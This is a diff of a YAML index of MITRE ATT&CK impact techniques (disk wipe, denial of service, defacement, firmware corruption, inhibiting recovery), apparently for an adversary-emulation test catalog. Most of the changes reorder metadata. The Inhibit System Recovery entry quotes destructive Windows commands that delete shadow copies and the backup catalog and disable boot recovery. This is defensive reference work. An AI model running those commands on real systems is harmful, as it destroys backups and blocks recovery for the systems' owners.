-        direct access read/write attempts using the <code>\\\\.\\</code> notation.(Citation:
-        Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation
-        activity.'
-      x_mitre_impact_type:
-      - Availability
-      x_mitre_permissions_required:
-      - SYSTEM
-      - root
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
       x_mitre_version: '1.0'
-    atomic_tests: []
-  T1561.002:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1561.002
-        url: https://attack.mitre.org/techniques/T1561/002
-      - source_name: Symantec Shamoon 2012
-        url: https://www.symantec.com/connect/blogs/shamoon-attacks
-        description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
-          14, 2019.
-      - url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
-        description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
-          Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
-        source_name: FireEye Shamoon Nov 2016
-      - url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
-        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
-          Wiper. Retrieved January 11, 2017.'
-        source_name: Palo Alto Shamoon Nov 2016
-      - source_name: Kaspersky StoneDrill 2017
-        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
-        description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
-          Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
-      - source_name: Unit 42 Shamoon3 2018
-        url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
-        description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
-          Organization. Retrieved March 14, 2019.
-      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
-        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
-          December 13, 2017.
-        source_name: Microsoft Sysmon v6 May 2017
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Disk Structure Wipe
+      modified: '2020-03-28T23:00:00.367Z'
+      created: '2020-02-20T22:10:20.484Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - root
+      - SYSTEM
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9
       description: "Adversaries may corrupt or wipe the disk data structures on a
         hard drive necessary to boot a system; targeting specific critical systems
         or in large numbers in a network to interrupt availability to system and network
@@ -53581,73 +55098,78 @@ impact:
         Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec
         Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon
         Nov 2016)(Citation: Kaspersky StoneDrill 2017)"
-      id: attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2020-03-28T23:00:00.367Z'
-      created: '2020-02-20T22:10:20.484Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - root
-      - SYSTEM
       x_mitre_impact_type:
       - Availability
       x_mitre_detection: 'Look for attempts to read/write to sensitive locations like
         the master boot record and the disk partition table. Monitor for direct access
         read/write attempts using the <code>\\\\.\\</code> notation.(Citation: Microsoft
         Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1561/002
+        external_id: T1561.002
+        source_name: mitre-attack
+      - url: https://www.symantec.com/connect/blogs/shamoon-attacks
+        description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
+          14, 2019.
+        source_name: Symantec Shamoon 2012
+      - source_name: FireEye Shamoon Nov 2016
+        description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
+          Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
+      - source_name: Palo Alto Shamoon Nov 2016
+        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
+          Wiper. Retrieved January 11, 2017.'
+        url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
+      - url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
+        description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
+          Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
+        source_name: Kaspersky StoneDrill 2017
+      - url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
+        description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
+          Organization. Retrieved March 14, 2019.
+        source_name: Unit 42 Shamoon3 2018
+      - source_name: Microsoft Sysmon v6 May 2017
+        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
+          December 13, 2017.
+        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
+    atomic_tests: []
+  T1561:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Disk Wipe
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Driver: Driver Load'
       - 'Drive: Drive Access'
       - 'Drive: Drive Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-    atomic_tests: []
-  T1561:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1561
-        url: https://attack.mitre.org/techniques/T1561
-      - source_name: Novetta Blockbuster Destructive Malware
-        description: 'Novetta Threat Research Group. (2016, February 24). Operation
-          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
-        url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
-      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
-        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
-          December 13, 2017.
-        source_name: Microsoft Sysmon v6 May 2017
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Disk Wipe
-      description: |-
-        Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.
-
-        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)
-      id: attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
+      x_mitre_version: '1.0'
       modified: '2020-03-28T23:00:00.599Z'
       created: '2020-02-20T22:02:20.372Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
       - root
       - SYSTEM
       - Administrator
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967
+      description: |-
+        Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.
+
+        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
       x_mitre_impact_type:
       - Availability
       x_mitre_detection: 'Look for attempts to read/write to sensitive locations like
@@ -53655,19 +55177,48 @@ impact:
         parameter block/superblock. Monitor for direct access read/write attempts
         using the <code>\\\\.\\</code> notation.(Citation: Microsoft Sysmon v6 May
         2017) Monitor for unusual kernel driver installation activity.'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Driver: Driver Load'
-      - 'Drive: Drive Access'
-      - 'Drive: Drive Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1561
+        external_id: T1561
+        source_name: mitre-attack
+      - url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
+        description: 'Novetta Threat Research Group. (2016, February 24). Operation
+          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
+        source_name: Novetta Blockbuster Destructive Malware
+      - source_name: Microsoft Sysmon v6 May 2017
+        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
+          December 13, 2017.
+        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
     atomic_tests: []
   T1499:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Endpoint Denial of Service
+      x_mitre_data_sources:
+      - 'Sensor Health: Host Status'
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2021-04-14T12:05:31.985Z'
+      created: '2019-04-18T11:00:55.862Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      - Google Workspace
+      - Containers
+      x_mitre_is_subtechnique: false
       id: attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4
       description: |
         Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
@@ -53683,117 +55234,85 @@ impact:
         In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)
 
         For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
-      name: Endpoint Denial of Service
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1499
-        url: https://attack.mitre.org/techniques/T1499
-      - external_id: CAPEC-227
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/227.html
-      - external_id: CAPEC-131
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/131.html
-      - external_id: CAPEC-130
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/130.html
-      - external_id: CAPEC-125
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/125.html
-      - source_name: FireEye OpPoisonedHandover February 2016
-        url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
-        description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November
-          3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in
-          Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'
-      - source_name: FSISAC FraudNetDoS September 2012
-        url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
-        description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals
-          Targeting Financial Institution Employee Credentials to Conduct Wire Transfer
-          Fraud. Retrieved April 18, 2019.
-      - source_name: Symantec DDoS October 2014
-        url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
-        description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks.
-          Retrieved April 24, 2019.
-      - source_name: USNYAG IranianBotnet March 2016
-        url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
-        description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April
-          23, 2019.
-      - source_name: ArsTechnica Great Firewall of China
-        url: https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/
-        description: Goodin, D.. (2015, March 31). Massive denial-of-service attack
-          on GitHub tied to Chinese government. Retrieved April 19, 2019.
-      - source_name: Cisco DoSdetectNetflow
-        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
-        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
-          Retrieved April 25, 2019.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
-      modified: '2021-04-14T12:05:31.985Z'
-      created: '2019-04-18T11:00:55.862Z'
       x_mitre_contributors:
       - Alfredo Oliveira, Trend Micro
       - David Fiser, @anu4is, Trend Micro
       - Magno Logan, @magnologan, Trend Micro
       - Vishwas Manral, McAfee
       - Yossi Weizman, Azure Defender Research Team
-      x_mitre_is_subtechnique: false
+      x_mitre_impact_type:
+      - Availability
       x_mitre_detection: |-
         Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.
 
         In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.
 
         Externally monitor the availability of services that may be targeted by an Endpoint DoS.
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      - Google Workspace
-      - Containers
-      x_mitre_impact_type:
-      - Availability
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'Sensor Health: Host Status'
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1499
+        external_id: T1499
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/227.html
+        external_id: CAPEC-227
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/131.html
+        external_id: CAPEC-131
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/130.html
+        external_id: CAPEC-130
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/125.html
+        external_id: CAPEC-125
+        source_name: capec
+      - url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
+        description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November
+          3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in
+          Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'
+        source_name: FireEye OpPoisonedHandover February 2016
+      - url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
+        description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals
+          Targeting Financial Institution Employee Credentials to Conduct Wire Transfer
+          Fraud. Retrieved April 18, 2019.
+        source_name: FSISAC FraudNetDoS September 2012
+      - url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
+        description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks.
+          Retrieved April 24, 2019.
+        source_name: Symantec DDoS October 2014
+      - url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
+        description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April
+          23, 2019.
+        source_name: USNYAG IranianBotnet March 2016
+      - url: https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/
+        description: Goodin, D.. (2015, March 31). Massive denial-of-service attack
+          on GitHub tied to Chinese government. Retrieved April 19, 2019.
+        source_name: ArsTechnica Great Firewall of China
+      - url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
+        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
+          Retrieved April 25, 2019.
+        source_name: Cisco DoSdetectNetflow
     atomic_tests: []
   T1491.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1491.002
-        url: https://attack.mitre.org/techniques/T1491/002
-      - source_name: FireEye Cyber Threats to Media Industries
-        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf
-        description: FireEye. (n.d.). Retrieved April 19, 2019.
-      - source_name: Kevin Mandia Statement to US Senate Committee on Intelligence
-        url: https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf
-        description: Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia,
-          CEO of FireEye, Inc. before the United States Senate Select Committee on
-          Intelligence. Retrieved April 19, 2019.
-      - source_name: Anonymous Hackers Deface Russian Govt Site
-        url: https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/
-        description: Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt.
-          Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.
-      - source_name: Trend Micro Deep Dive Into Defacement
-        url: https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf
-        description: 'Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo
-          Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement:
-          How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: External Defacement
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'File: File Creation'
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2021-03-08T10:33:01.745Z'
+      created: '2020-02-20T14:34:08.496Z'
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3
       description: 'An adversary may deface systems external to an organization in
         an attempt to deliver messaging, intimidate, or otherwise mislead an organization
         or users. Externally-facing websites are a common victim of defacement; often
@@ -53805,15 +55324,9 @@ impact:
         by an organization or government. Similarly, website defacement may also be
         used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation:
         Trend Micro Deep Dive Into Defacement)'
-      id: attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2021-03-08T10:33:01.745Z'
-      created: '2020-02-20T14:34:08.496Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
       x_mitre_impact_type:
       - Integrity
       x_mitre_detection: Monitor external websites for unplanned content changes.
@@ -53821,19 +55334,49 @@ impact:
         or successful exploitation. Use deep packet inspection to look for artifacts
         of common exploit traffic, such as SQL injection. Web Application Firewalls
         may detect improper inputs attempting exploitation.
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'File: File Creation'
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1491/002
+        external_id: T1491.002
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf
+        description: FireEye. (n.d.). Retrieved April 19, 2019.
+        source_name: FireEye Cyber Threats to Media Industries
+      - url: https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf
+        description: Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia,
+          CEO of FireEye, Inc. before the United States Senate Select Committee on
+          Intelligence. Retrieved April 19, 2019.
+        source_name: Kevin Mandia Statement to US Senate Committee on Intelligence
+      - url: https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/
+        description: Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt.
+          Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.
+        source_name: Anonymous Hackers Deface Russian Govt Site
+      - url: https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf
+        description: 'Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo
+          Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement:
+          How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.'
+        source_name: Trend Micro Deep Dive Into Defacement
     atomic_tests: []
   T1495:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Firmware Corruption
+      x_mitre_data_sources:
+      - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-07-14T19:31:46.550Z'
+      created: '2019-04-12T18:28:15.451Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - root
+      - SYSTEM
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
       id: attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89
       description: 'Adversaries may overwrite or corrupt the flash memory contents
         of system BIOS or other firmware in devices attached to a system in order
@@ -53841,47 +55384,53 @@ impact:
         W95.CIH) Firmware is software that is loaded and executed from non-volatile
         memory on hardware devices in order to initialize and manage device functionality.
         These devices could include the motherboard, hard drive, or video cards.'
-      name: Firmware Corruption
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - external_id: T1495
-        source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1495
-      - source_name: Symantec Chernobyl W95.CIH
-        url: https://www.symantec.com/security-center/writeup/2000-122010-2655-99
-        description: Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.
-      - url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
-        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
-          Firmware Security Research. Retrieved January 5, 2016.
-        source_name: MITRE Trustworthy Firmware Measurement
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2020-07-14T19:31:46.550Z'
-      created: '2019-04-12T18:28:15.451Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      x_mitre_impact_type:
+      - Availability
+      x_mitre_detection: 'System firmware manipulation may be detected.(Citation:
+        MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS
+        and compare against known patching behavior.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1495
+        external_id: T1495
+        source_name: mitre-attack
+      - url: https://www.symantec.com/security-center/writeup/2000-122010-2655-99
+        description: Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.
+        source_name: Symantec Chernobyl W95.CIH
+      - source_name: MITRE Trustworthy Firmware Measurement
+        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
+          Firmware Security Research. Retrieved January 5, 2016.
+        url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
+    atomic_tests: []
+  T1490:
+    technique:
+      type: attack-pattern
+      modified: '2020-07-14T19:33:52.512Z'
+      name: Inhibit System Recovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Service: Service Metadata'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Deletion'
+      x_mitre_version: '1.0'
+      created: '2019-04-02T13:54:43.136Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
       x_mitre_permissions_required:
       - Administrator
       - root
       - SYSTEM
-      x_mitre_impact_type:
-      - Availability
-      x_mitre_version: '1.0'
-      x_mitre_detection: 'System firmware manipulation may be detected.(Citation:
-        MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS
-        and compare against known patching behavior.'
-      x_mitre_data_sources:
-      - 'Firmware: Firmware Modification'
-    atomic_tests: []
-  T1490:
-    technique:
+      - User
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: false
       id: attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a
       description: |-
         Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
@@ -53892,53 +55441,29 @@ impact:
         * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
         * <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
         * <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>
-      name: Inhibit System Recovery
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - external_id: T1490
-        source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1490
-      - source_name: Talos Olympic Destroyer 2018
-        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
-        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
-          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
-      - source_name: FireEye WannaCry 2017
-        url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
-        description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
-          Malware Profile. Retrieved March 15, 2019.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
-      modified: '2020-07-14T19:33:52.512Z'
-      created: '2019-04-02T13:54:43.136Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
-      x_mitre_permissions_required:
-      - Administrator
-      - root
-      - SYSTEM
-      - User
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Service: Service Metadata'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Deletion'
+      x_mitre_contributors:
+      - Yonatan Gotlib, Deep Instinct
+      x_mitre_impact_type:
+      - Availability
       x_mitre_detection: |-
         Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.
 
